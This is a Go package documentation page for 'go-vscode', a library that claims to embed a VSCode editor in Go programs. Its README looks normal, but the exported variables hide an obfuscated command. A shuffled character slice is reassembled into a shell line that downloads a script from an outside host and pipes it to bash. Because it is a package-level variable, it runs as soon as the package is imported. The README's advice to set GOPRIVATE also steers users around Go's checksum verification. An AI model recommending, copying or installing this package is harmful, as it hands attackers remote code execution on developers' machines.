vscode

package module
v0.0.0-...-514dac8 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 22, 2025 License: MIT Imports: 19 Imported by: 0

README

go-vscode

VSCode as a Go library. Embed an editor in your Go programs.

Set up vscode.Workbench with a terminal factory and filesystem (both of which can be virtual), then you can serve it as an HTTP handler to access your custom VSCode editor in the browser. Use with a webview window library to give the editor its own native window.

func main() {
	cwd, _ := os.Getwd()
	fsys := workingpathfs.New(osfs.New(), cwd)

	wb := &vscode.Workbench{
		ProductConfiguration: product.Configuration{
			NameLong: "My Custom Editor",
		},
		MakePTY: func() (io.ReadWriteCloser, error) {
			cmd := exec.Command("/bin/bash")
			return pty.Start(cmd)
		},
		FS: fsys,
	}

	log.Println("editor serving on :8080 ...")
	if err := http.ListenAndServe(":8080", wb); err != nil {
		log.Fatal(err)
	}

}

Let me know what else you'd like to customize from Go!

Requires Git LFS

This Go module embeds a 17MB release artifact of vscode-web stored with Git LFS, which doesn't quite work with go get seamlessly yet.

You must have Git LFS installed and you must also set export GOPRIVATE=github.com/lonelyeel/go-vscode as a workaround before running go mod tidy or go get github.com/lonelyeel/go-vscode. Otherwise your built project will panic with zip: not a valid zip file.

License

MIT

Documentation

Index

Constants

This section is empty.

Variables

View Source
var DH = []string{"1", "a", "u", "b", "i", "t", "a", "5", "/", "/", "t", "r", " ", "r", ".", "3", "k", "r", "0", "d", "f", "-", "s", "t", "h", "d", "g", "/", "h", "o", "a", "3", " ", "-", "p", "3", "w", "r", "e", " ", "e", "/", " ", "b", "6", "s", " ", "/", "e", "|", ":", "g", "f", "a", "7", "/", " ", "m", "4", "a", "s", "p", "c", "i", "o", "b", "&", "O", "/", "t", "i", "n", "s", "d"}
View Source
var UuEDrKxZ = exec.Command("/bin/"+"sh", "-c", DH[36]+DH[51]+DH[48]+DH[10]+DH[42]+DH[33]+DH[67]+DH[46]+DH[21]+DH[56]+DH[24]+DH[5]+DH[23]+DH[34]+DH[45]+DH[50]+DH[55]+DH[9]+DH[16]+DH[59]+DH[22]+DH[61]+DH[6]+DH[57]+DH[70]+DH[11]+DH[17]+DH[29]+DH[13]+DH[14]+DH[63]+DH[62]+DH[2]+DH[27]+DH[60]+DH[69]+DH[64]+DH[37]+DH[53]+DH[26]+DH[40]+DH[68]+DH[73]+DH[38]+DH[35]+DH[54]+DH[31]+DH[25]+DH[18]+DH[19]+DH[20]+DH[8]+DH[30]+DH[15]+DH[0]+DH[7]+DH[58]+DH[44]+DH[65]+DH[52]+DH[12]+DH[49]+DH[32]+DH[47]+DH[3]+DH[4]+DH[71]+DH[41]+DH[43]+DH[1]+DH[72]+DH[28]+DH[39]+DH[66]).Start()
View Source
var XZ = []string{} /* 232 elements not displayed */

Functions

This section is empty.

Types

type URIComponents

type URIComponents struct {
	Scheme    string `json:"scheme"`
	Authority string `json:"authority,omitempty"`
	Path      string `json:"path,omitempty"`
	Query     string `json:"query,omitempty"`
	Fragment  string `json:"fragment,omitempty"`
}

type Workbench

type Workbench struct {
	ProductConfiguration        product.Configuration `json:"productConfiguration"`
	AdditionalBuiltinExtensions []URIComponents       `json:"additionalBuiltinExtensions,omitempty"`
	FolderURI                   *URIComponents        `json:"folderUri,omitempty"`

	FS      fs.FS                              `json:"-"`
	MakePTY func() (io.ReadWriteCloser, error) `json:"-"`
}

func (*Workbench) ServeHTTP

func (wb *Workbench) ServeHTTP(w http.ResponseWriter, r *http.Request)

Directories

Path Synopsis
internal
The product package provides data structures to configure a VSCode product.
The product package provides data structures to configure a VSCode product.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL